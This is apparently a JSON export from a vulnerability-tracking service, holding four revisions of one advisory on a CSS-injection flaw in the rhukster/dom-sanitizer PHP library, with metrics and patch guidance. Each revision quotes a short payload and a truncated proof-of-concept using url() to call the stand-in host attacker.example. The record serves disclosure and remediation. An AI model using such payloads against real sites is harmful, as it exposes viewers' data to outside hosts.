{"items":[{"id":"NVI-00004368","kind":"vulnerability","title":"rhukster/dom-sanitizer: SVG  tag allows CSS injection via unfiltered url() and @import directives","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-93vf-569f-22cq","CVE-2026-40301"],"plain_summary":"OSV carries this publisher advisory for rhukster/dom-sanitizer. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.0.10 for rhukster/dom-sanitizer. Confirm the publisher’s latest guidance.","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-22dfab3f6542a12fa826dbff0a6921bb"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-10-26T21:10:00.170Z","value":"4.7 MEDIUM (3.1)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-d33632f92b5640b9852cb5f49f84c730"},{"kind":"EPSS","as_of":"2026-11-01T12:00:16.000Z","value":"0.322%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.25238. Missing scores are unknown.","source_id":"sr-22dfab3f6542a12fa826dbff0a6921bb"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-6396bad89d739dacb630586ce0b9b2f3","url":"https://github.com/advisories/GHSA-93vf-569f-22cq","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-93vf-569f-22cq","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.678Z"},{"id":"sr-d33632f92b5640b9852cb5f49f84c730","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40301","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-40301","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T07:23:52.242Z"},{"id":"sr-22dfab3f6542a12fa826dbff0a6921bb","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-40301","publisher":"FIRST EPSS","observed_at":"2026-11-01T14:28:32.278Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"technology":"rhukster/dom-sanitizer","known_exclusions":[],"conditions_summary":"### Summary\nDOMSanitizer::sanitize() allows  elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of  elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\n  * { background: url(https://attacker.example/collect); }\n\n```\n\n### PoC\n```php\n* { background: url(https://attacker.example/collect); }';\n$sanitizer = new DOMSanitizer(DOMS","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.0.10"]}],"null_published_at":"2026-11-07T22:29:23.445Z","source_updated_at":"2026-05-05T16:04:51.849Z","source_disclosed_at":"2026-04-10T21:08:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:10.678Z"},{"id":"NVI-00004368","kind":"vulnerability","title":"rhukster/dom-sanitizer: SVG  tag allows CSS injection via unfiltered url() and @import directives","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-93vf-569f-22cq","CVE-2026-40301"],"plain_summary":"OSV carries this publisher advisory for rhukster/dom-sanitizer. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.0.10 for rhukster/dom-sanitizer. Confirm the publisher’s latest guidance.","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-22dfab3f6542a12fa826dbff0a6921bb"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-11-01T12:00:16.000Z","value":"0.322%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.25238. Missing scores are unknown.","source_id":"sr-22dfab3f6542a12fa826dbff0a6921bb"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-6396bad89d739dacb630586ce0b9b2f3","url":"https://github.com/advisories/GHSA-93vf-569f-22cq","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-93vf-569f-22cq","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.678Z"},{"id":"sr-22dfab3f6542a12fa826dbff0a6921bb","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-40301","publisher":"FIRST EPSS","observed_at":"2026-11-01T14:28:32.278Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"technology":"rhukster/dom-sanitizer","known_exclusions":[],"conditions_summary":"### Summary\nDOMSanitizer::sanitize() allows  elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of  elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\n  * { background: url(https://attacker.example/collect); }\n\n```\n\n### PoC\n```php\n* { background: url(https://attacker.example/collect); }';\n$sanitizer = new DOMSanitizer(DOMS","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.0.10"]}],"null_published_at":"2026-11-04T18:04:03.178Z","source_updated_at":"2026-05-05T16:04:51.849Z","source_disclosed_at":"2026-04-10T21:08:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:10.678Z"},{"id":"NVI-00004368","kind":"vulnerability","title":"rhukster/dom-sanitizer: SVG  tag allows CSS injection via unfiltered url() and @import directives","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-93vf-569f-22cq","CVE-2026-40301"],"plain_summary":"OSV carries this publisher advisory for rhukster/dom-sanitizer. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.0.10 for rhukster/dom-sanitizer. Confirm the publisher’s latest guidance.","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-6da742e66f9f379ddcee0226df8feca8"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.322%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.25242. Missing scores are unknown.","source_id":"sr-6da742e66f9f379ddcee0226df8feca8"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-6396bad89d739dacb630586ce0b9b2f3","url":"https://github.com/advisories/GHSA-93vf-569f-22cq","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-93vf-569f-22cq","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.678Z"},{"id":"sr-6da742e66f9f379ddcee0226df8feca8","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-40301","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.378Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"technology":"rhukster/dom-sanitizer","known_exclusions":[],"conditions_summary":"### Summary\nDOMSanitizer::sanitize() allows  elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of  elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\n  * { background: url(https://attacker.example/collect); }\n\n```\n\n### PoC\n```php\n* { background: url(https://attacker.example/collect); }';\n$sanitizer = new DOMSanitizer(DOMS","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.0.10"]}],"null_published_at":"2026-11-01T19:14:01.576Z","source_updated_at":"2026-05-05T16:04:51.849Z","source_disclosed_at":"2026-04-10T21:08:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:10.678Z"},{"id":"NVI-00004368","kind":"vulnerability","title":"rhukster/dom-sanitizer: SVG  tag allows CSS injection via unfiltered url() and @import directives","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-93vf-569f-22cq","CVE-2026-40301"],"plain_summary":"OSV carries this publisher advisory for rhukster/dom-sanitizer. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 1.0.10 for rhukster/dom-sanitizer. Confirm the publisher’s latest guidance.","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-6396bad89d739dacb630586ce0b9b2f3","url":"https://github.com/advisories/GHSA-93vf-569f-22cq","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-93vf-569f-22cq","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:10.678Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-6396bad89d739dacb630586ce0b9b2f3"],"technology":"rhukster/dom-sanitizer","known_exclusions":[],"conditions_summary":"### Summary\nDOMSanitizer::sanitize() allows  elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of  elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n\n  * { background: url(https://attacker.example/collect); }\n\n```\n\n### PoC\n```php\n* { background: url(https://attacker.example/collect); }';\n$sanitizer = new DOMSanitizer(DOMS","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.0.10"]}],"null_published_at":"2026-10-31T22:12:52.645Z","source_updated_at":"2026-05-05T16:04:51.849Z","source_disclosed_at":"2026-04-10T21:08:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:42:10.678Z"}],"next_cursor":null,"snapshot_revision":"42594"}